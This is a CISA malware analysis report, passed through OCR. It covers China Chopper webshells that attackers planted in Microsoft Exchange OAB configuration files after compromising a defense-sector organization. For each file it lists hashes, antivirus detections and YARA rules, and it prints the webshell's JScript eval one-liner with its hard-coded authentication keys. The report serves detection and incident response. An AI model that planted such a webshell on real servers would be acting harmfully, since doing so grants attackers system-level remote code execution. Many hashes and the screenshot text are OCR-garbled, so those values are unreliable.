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Malware Analysis Report

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any
warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service
referenced in this bulletin or otherwise.

This document is marked TLP:CLEAR-Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or no
foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules,
TLP:CLEAR information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see
http://www.cisa.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA) to
provide detailed analysis of files associated with "China Chopper" webshells. CISA obtained China Chopper malware samples during an
on-site incident response engagement at a Defense Industrial Base (DIB) Sector organization compromised by advanced persistent
threat (APT) actors.

CISA analyzed 15 files associated with China Chopper malware. The files are modified Offline Address Book (OAB) Virtual Directory (VD)
configuration files for Microsoft Exchange servers. The files have been modified with a variant of the China Chopper webshell. The
webshells allow an attacker to remotely access the server and execute arbitrary code on the system(s).

For more information on the confirmed compromise, see Joint CSA: Impacket and Exfiltration Tool Used to Steal Sensitive Information
from Defense Industrial Base Organization.

Submitted Files (15)
07208095feb011ed915a881b689d6b70c352d40e90131df2c2abc92c4b93fbd9 (a96r741S.aspx)
1435e7871e32779a81e28aa9%b6fa57949439220527ed3b3fb83a1c0699f376e3 (cBPOVKYG.aspx)
1e05b263cfea600f727614e58646a2ff6a4c89a4499e2410f23bf40c718a94d3 (ZyphzweO.aspx)
1f5f5b8dd702da3628e8612d44563d8267fa160048a0da389ee821152ac658f2 (nypCBAQf.aspx)
3918f060a7df3ef3488f4158b56cd720e1e4872f1c5a075df5870164260af650 (vsaUptfA.aspx)
411fef05a37e286a4e48700e5155cd55672cce4c9283b448d968391267b4f866 (pRdA3rlIG.aspx)
53¢7¢1bf8526bb7a6d0af1fd7c7673a8138db90bb81b786f3987b9d854697f6¢ (vak8w9I7H.aspx)
58a6151413f281143a9390852b017b82ff40d402cdbc8295aa58ae46c4c8424f (ydRIt1rF.aspx)
a58c4fdb1c31100f4e9bb530af7dlac57c715feelc7c5e6¢c790ele9cc863cfed (0GPA9cCt.aspx)
a8c656d12b10d4fae74efc4cc7e585f5569f1a9144ebf6cd56b1bfed0dd7a440 (undMk5U9.aspx)
b8a06eae7d57a292dfea9000f76c6e3733b3567ef67d75b149dfd1d001ca9fb8 (AXYD37GQ.aspx)
dc21ee9606505222dbfe26d6bfc2addbebecf620d72fc39d298a5de519¢3535f (PcyJLpmw.aspx)
dfa9f4a054636750012e0ff56286a3¢c96¢c37062959c8ac5b2df52e349de69e65 (GLURqYO7.aspx)
e2caf75367ca300f616a96ff07769b1f80b69b1lael35fa27b79376a75a905b5e (mDwelri6.aspx)
e5451de048d7b9d6d8e699da7a10c38079eda4e6328580a8ba259a22eeaaa71d (vyBcbDLQ.aspx)

Findings

b8a06eae7d57a292dfea9000f76c6e3733b3567ef67d75b149dfd1d001ca9fb8
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Tags
trojan webshell
Details
Name AXYD37GQ.aspx
Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 b5be2d3f0ebbb9a0925236f171c5b5e0
SHA1 1c¢2526572d10d3577802¢15125d9¢3a701c48919
SHA256 bh8a06eae7d57a292dfea9000f76c6e3733b3567ef67d75b149dfd1d001ca9fb8
SHA512 3f5cd073f05c581c46973213e0aebaf3240c¢1336593901fc66abd3fb79ce70464d45d77629e5e88ec16a3d3fff9f4079
807b41aa35401b5ba3ab63406484879c
ssdeep 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaXVMr6j71idfhphESg8RMIF62E40NFOqDe8+:kNrdepN1BXSOHM5QZphEGs4ONFOq
i
Entropy 4.646463
Antivirus
Avira EXP/CVE-2021-27065.1
Bitdefender | Generic.ASP.WebShell.H.A8133255
ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren | ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft = Generic.ASP.WebShell.H.A8133255 (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.A8133255
McAfee Exploit-CVE2021-27065.a
NANOAV | Exploit.Script.CVE-2021-26855.iwqhlf
Quick Heal CVE-2021-26855.Webshll.41350
Sophos | Troj/WebShel-L
Symantec Trojan.Chinchop
Trend Micro = Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

¢ rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{

meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

strings:
$s0={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={65 76 61 6C 28}
$s2={28 5265 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

condition:
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$s0 or ($s1 and $s2) or ($s3 and $s4)
}
e rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from
outside the firewall has been replaced with the following code:

—Begin Webshell—
hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["47YyATOi91Po"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "47YyATOi91Po" is used
for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots
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Server
Intecnallicl

Externallirl

AdminbisplayName
ExchangeVeraion
Distinguishediame

Identity

Guid

b jectlategory
Chjeceslass

WhenChanged
nCreared

ChangediT

WhenCreatedUTC

Crganizationld

Id

Or iginatingServer

I=WValid

Harme : OAB (Default Web Site)

PallInterval i 480

Off lineiddressBooks H

Require3SL : Teue

Basichuthent iCar ion : Falas

UindowsAuthentication : True

Shuchbiuthent ioac ion : Falae

HetabasePath s I 3 £ ORE T WISV 1/ ROOTS QAR

Path 1 Dr\Program Fxle-‘-!ucrosorr.'\[xcn:nqe Server\ V1S FrontEnd) Moo pProxyy OAB
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ExtendedProtectionf lags :
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\TE [leteu. e Web Site)
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mrExchOABViceualbirectory
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2 3/2/2021 11:41:216 AN
s 3f2/2021 4:53:17 PH
3/2/2021 4:41:16 PH

(befaule Veb Site)

i Toue

Figure 1. -

53c7¢1bf8526bb7a6d0af1fd7c7673a8138db90bb81b786f3987b9d854697f6¢

Tags

trojan webshell

Details

Name

Size

Type

MD5
SHA1
SHA256
SHA512

ssdeep
Entropy

Antivirus

vak8w97H.aspx

2167 bytes

HTML document, ASCII text, with CRLF line terminators
264b80ff5d873d630168f21892f27724
ae0d3ca3f7bec5703f1bc554f9b57bcdda8022ba
53c7¢1bf8526bb7a6d0af1fd7c7673a8138db90bb81b786f3987b9d854697f6¢

7c3cee7a7151417b42eea859c8b5a5f01c9289f02a279d5874ed4ef2dfee15b9dfee012a4f1b050255883a6¢ce876e72
db0047bb6519383d6b76e06f377c5918d

24:kNrde9j3a+rJTh91QcFdyW6j0SzMaHVMr6j71idfhphE5gQaqt62E40NFOgbenf:kNrdepN1BXSOnM5QZphEZfs4ONFOqS
4.651647

Avira EXP/CVE-2021-27065.1

Bitdefender Generic.ASP.WebShell.H.46E1E12C

ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren | ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft Generic.ASP.WebShell.H.46E1E12C (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft | Generic.ASP.WebShell.H.46E1E12C
McAfee | Exploit-CVE2021-27065.a
NANOAV ' Exploit.Script.CVE-2021-26855.iwqhlf

Quick Heal = CVE-2021-26855.Webshll.41350

Sophos = Troj/WebShel-L
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Symantec @ Trojan.Chinchop
Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

¢ rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={6576 61 6C 28}
$s2={28 52 65 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
¢ rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
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suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["gmetqypJ4TUw"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "gmetqypJ4TUw" is used

for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots

Name : OAB ([Default Web Site)

PallInterval i 480

offlinsdddressBooks '

ReguireSsh : True

BazicAuthentication i False

VindousAuThens 1060 10m : True

DhushAuchentication i False

HetabasePath ¢ IES:f/ REDACTEL FHIENVCS L/ ROOT/ DA

Pach £ DiProgeam F:lei\huro,o cAExchange Server\VisiFrontEnd\ HLcpProky\OAB

ExtendedProtectionTokenChecking : None
ExtendedProtectionf laga
ExtendedProtectionIPHList

AdminDisplayVersion : Version 15.0 [Build 1¥457.2)

Jerver H

Internallirl ] rt::: ." RE B S OB

Incernaliuthenticat ionMethods T Wi ndow-rmcu"nrru

Externallrl i htep:/fff<=cript language="J3cript® runat="servec”>function

Page_Load [} {eval (Request [ "gratgypdqTov™] , "unsate™) :} </ scripes
Exeernaliuthent icat ionfethods : WindowsIntegrated

Ad=manDis=p layHems ]

ExchangeVersion s 0.10 (14.0,100.0)

Bistinguishediame : CH=0AR (Default Web Site), CN=HTTP, CH=Protocols, CH=REDACTED CH=Servers, CN=Exchange
Adsminisceative Geoup (FYDIBOHF23ISPDLT) ,CH=

LRASCEATIVE Groups,Ch= LCH=Microsolt
Exchange, CH=Services, "N-(‘an!.lq'u:m ion,

e, DME=com

Identity H EL (Defaulc ¥eb Site)
Guid ¢ c1TcO9EI-87Ie-410 1-8492-a03 69380744
Gbjectiategory : sepacten -com/Configuration/Schema/me-Exch-OAB-Virtual-birectory
ChjectClinas : Top
mExchVirtuallicectory
meExchOABVirTualDireccory
VhenChanged : 352372021 12:57:36 PN
WhenCreaced : 3/2/2021 12:10:50 PN
WhenChangedUTC s ISR/E0EL 5:57:36 FH
VhenCreatedUTC ¢ 3f2f2021 5:10:850 PN
organizacionid
Id (Defauic Web Siee]
Originatingferver H EL -com
IsWalid : Teue
Figure 2. -

dc21ee9606505222dbfe26d6bfc2a4dbebecf620d72fc39d298a5de519¢3535f

Tags
trojan webshell

Details
Name | PcyJLpmw.aspx
Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 d07539a27792c1a1d37dcOb7c5fa0f40
SHA1 82809edc726101e5baea2ae70bcd9cf2e20bdffa
SHA256 dc21ee9606505222dbfe26d6bfc2ad4dbebecf620d72fc39d298a5de519¢3535f

SHA512 bf9afaa2f2fe07708d17f8f5d73638e9df85301e714d7aeae302c14b17fbc3be619ac150330ee302b06bffd1d3b6fc8cl
al6ebee62ed353ccf4c3ffcfa636¢c6¢c

ssdeep | 24:yd53SzMaPfVMNGy1Qcz+rJdrde9j3yhm6jq6j71idfhphE5SJI+62E40NFOqTenf:S53/gMyfrdepiz95QZphEfgs40ONF0q6
Entropy 4.649797

Antivirus
Avira | EXP/CVE-2021-27065.1
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Bitdefender | Generic.ASP.WebShell.H.9109FAOF
ClamAV | Asp.Trojan.Webshell0321-9840176-0
ESET ASP/Webshell.DI trojan
Emsisoft = Generic.ASP.WebShell.H.9109FAOF (B)
Lavasoft | Generic.ASP.WebShell.H.9109FAOF
McAfee | Exploit-CVE2021-27065.d
NANOAV | Exploit.Script.CVE-2021-26855.iwqhlf
Quick Heal | CVE-2021-26855.Webshil.41350
Sophos = Troj/WebShel-L
Symantec @ Trojan.Chinchop
Trend Micro = Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

¢ rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={6576 61 6C 28}
$s2={28 5265 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
e rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
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$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.
Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:1//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["49tWiczXqjDb"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "49tWiczXqjDb" is used for

authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots

Server = REDALCTED

UnenChanged : 37272021 10:53:30 AR
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Guid : 1aB3aSHL=Taba=1850=-96 1c=-B7d7C2A68acT

OhjeceCategary . REDSCTE JCont iguras ion/ Schema fme-Exch-0AB-Virtual-Directory
ChjeccClass : top

meExchVirtualbicectory
msExchOABVictuallirectory

UhenCraared : 37272021 10:34:44 AN
UnenChangedliTc : 3/2/2021 3:58:30 PR
UhenCreacedUTC : 3SB/I0E1 3:34:94 PR
Organizationld H
Id ED  (Pafault Web Sice)
OriginatingServer
IaValid

Figure 3. -

3918f060a7df3ef3488f4158b56cd720e1e4872f1c5a075df5870164260af650

Tags
trojan webshell
Details
Name | vsaUptfA.aspx
Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
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MD5
SHA1
SHA256
SHA512

ssdeep

TLP: CLEAR

5cbd52c0a7517ddcd8a0e764131bd791
f44cecce75f74b62a6596872b8dd86dbca2a59a8

3918f060a7df3ef3488f4158b56cd720e1e4872f1c5a075df5870164260af650

96a369b1d92385e1875ce64058c5875¢c27afdf10dc9163aa38a72a905b77202d17620f2b5ca269404d5f7f165¢c79b3
9ffff355a0834¢f9d35944b28df4069230

48:kNrdepN1BXSOkwM5QZphEETs40NFOqdwY:ktde/1yEANCqdwY

Entropy 4.647264

Antivirus
Avira
Bitdefender
ClamAV
Cyren
Emsisoft
IKARUS
Lavasoft
McAfee
NANOAV
Quick Heal
Sophos
Symantec
Trend Micro
Trend Micro HouseCall

YARA Rules

EXP/CVE-2021-27065.1
Generic.ASP.WebShell.H.6D98F430
Asp.Trojan.Webshell0321-9840176-0
ASP/CVE-2021-27065.A.gen!Camelot
Generic.ASP.WebShell.H.6D98F430 (B)
Exploit.ASP.CVE-2021-27065
Generic.ASP.WebShell.H.6D98F430
Exploit-CVE2021-27065.a
Exploit.Script.CVE-2021-26855.iwqhlif
CVE-2021-26855.Webshll.41350
Troj/WebShel-L

Trojan.Chinchop

Backdoo.43A0A8D2
Backdoo.43A0A8D2

e rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065

{

meta:

Author = "CISA Code & Media Analysis"
Incident = "10328929"

Date = "2021-03-17"

Last_Modified = "20210317_2200"

Actor ="n/a"

Category = "Trojan WebShell Exploit"

Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

strings:
$s0={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
$s1={6576 61 6C 28}
$s2={28 5265 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 7269 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

condition:

$s0 or ($s1 and $s2) or ($s3 and $s4)

}

e rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065

{

meta:

Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"

TLP: CLEAR
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Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["OUZz8HlharTm"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "OUZz8HlharTm" is used

for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots

Hame : OAB (Defaule Veb Sire)

Polllnterval + 480

Sfflinehddresslooks H

Reguice3al i Toue

BasicAuthentication : False

Vindowshutheneication i True

Shuchiuchentication : False

HetabazePach i II&:/F REDACTEL o CammS WISWCS 1/ ROOTS OAR

Patch : D:yFrogram Files)Microsodc)Exchange ServeriV15\FrontEndiHropProxyh OLD

ExtendedProtectionTokenlhecking : Hone
ExcendedProre H
ExtendedProtectionSPHLise

hkdminDisplayVersion i Version 15,0 (Build 1497.2)

Serwer : REDACTEL

Internallicl i heeps: /s REDACTEL Jcom/ OkE

Internsliuchent ioat tonfechods : WindowsIntegrated

Externallicl : hetp:/fEf<meripe language="JScript™ runat=Fssrver®:function
Page_Load() (eval (Requeat [ "OUZzSH1has Tw™] , "unaafe™) ;) </ acripe>

Externaliuchent icationfetchods i WindowsIntegrated

Rdmanbiap LayNeose H

ExchangeVersion : 0.10 (14.0.100.0

DizeingulshedNams : CN=QAB (Defaulc Web Jive) CN=HTTP, CN=Protocols, CHSREDATEQCN=Servers, CNSExchange
hdminiscracive Group [FYDIBONF23I5PDLT),CHN=Adminiscracive Groups,CN= sCN=Hicrosoft

Exchange, CH=Services, CH=Configuration, DC=REDALTED , DO=eam

Identicy CTED  (Pedault Web Sice)
Guid 11140f-b1bé-4edf -8d46-0cadbBFast 65
ChiecTCATEgory : REDACTED  /Configueation'Schems/ma=-Exch=0AB=ViETual=-Directory
GhjectCla=ss 1 rop
maERChViETualDiresCory
meExchOlBVirtuslbirectory
Whendhanged + ISES20Z1 12:00:47 PN
UhenCreated T 37272021 11:54:25 AM
Whent hangedUTC i 3/2/2021 5:00:47 PH

UhenCreatedUTC
Crganizationld

Id
Criginatingdecver WCTED
Iavalid : True

r 3/2/2021 4:54:25 PO

(Pedaulc Web Sice)
«com
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Figure 4. -

07208095feb011ed915a881h689d6b70c352d40e90131df2c2abc92¢c4b93fbd9

Tags
trojan webshell
Details
Name  a96r741S.aspx
Size 2167 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 bd01f935103002ccf3a21c9815697c24
SHA1 7517f601fc648bb731961d492b638f4d39e698fa
SHA256 07208095feb011ed915a881b689d6b70c352d40e90131df2c2abc92¢c4b93fbd9
SHAB12 a38c05fal814cebdfea51520eabf7¢133d229b7c6aadd1792e2cffcd29d733¢7d590411f6881573087c1fdc82e6293e3
2eab7cc42fe3b7c908ca0d4ca89f527e
ssdeep 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaViVMr6j71idfhphE5SgMPAF62E40NFOqHenf:kNrdepN1BXS01M5QZphEJes4ONFOq
e
Entropy 4.647271
Antivirus
Avira | EXP/CVE-2021-27065.1
Bitdefender = Generic.ASP.WebShell.H.CCB2735F
ClamAV | Asp.Trojan.Webshell0321-9840176-0
Cyren ASP/CVE-2021-27065.A.gen!Camelot
Emsisoft = Generic.ASP.WebShell.H.CCB2735F (B)
IKARUS | Exploit.ASP.CVE-2021-27065
Lavasoft = Generic.ASP.WebShell.H.CCB2735F
McAfee Exploit-CVE2021-27065.a
NANOAYV | Exploit.Script.CVE-2021-26855.iwqhif
Quick Heal CVE-2021-26855.Webshll.41350
Sophos = Troj/WebShel-L
Symantec Trojan.Chinchop
Trend Micro Backdoo.43A0A8D2
Trend Micro HouseCall = Backdoo.43A0A8D2

YARA Rules

e rule CISA_10328929_01 : trojan webshell exploit HAFNIUM CVE_2021_27065

{

meta:

Author = "CISA Code & Media Analysis"

Incident = "10328929"

Date = "2021-03-17"

Last_Modified = "20210317_2200"

Actor ="n/a"

Category = "Trojan WebShell Exploit"

Family = "HAFNIUM CVE-2021-27065"

Description = "Detects HAFNIUM webshell samples"

MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"

SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:

$s0={65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }

CISA MAR-10365227.r3.v1.CLEAR
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$s1={6576616C 28}

$s2={28 5265 71 7565 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29}
$s3={494F2E53 74 726561 6D 57 7269 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 ={57 7269 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
e rule CISA_10328929_02 : trojan webshell exploit HAFNIUM CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10328929"
Date = "2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit"
Family = "HAFNIUM CVE-2021-27065"
Description = "Detects HAFNIUM webshell samples"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
strings:
$s0 ={ 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1={3A 2068 74 74 70 3A 2F 2F [1] 2F }
$s2={4578 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}

ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For
this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an
attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter
was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter
suggests the operator can dynamically submit queries to this Exchange OAB VD.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been
replaced with the following code:

—Begin Webshell—
hxxp[:]//f/<script language="JScript" runat="server">function Page_Load() (eval (Request["xncSsoZepUEz"],"unsafe");)</script>
—End Webshell—

The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "xncSsoZepUEz" is used
for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system)
level privileges.

Screenshots

TLP: CLEAR
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Neare

FollInterval
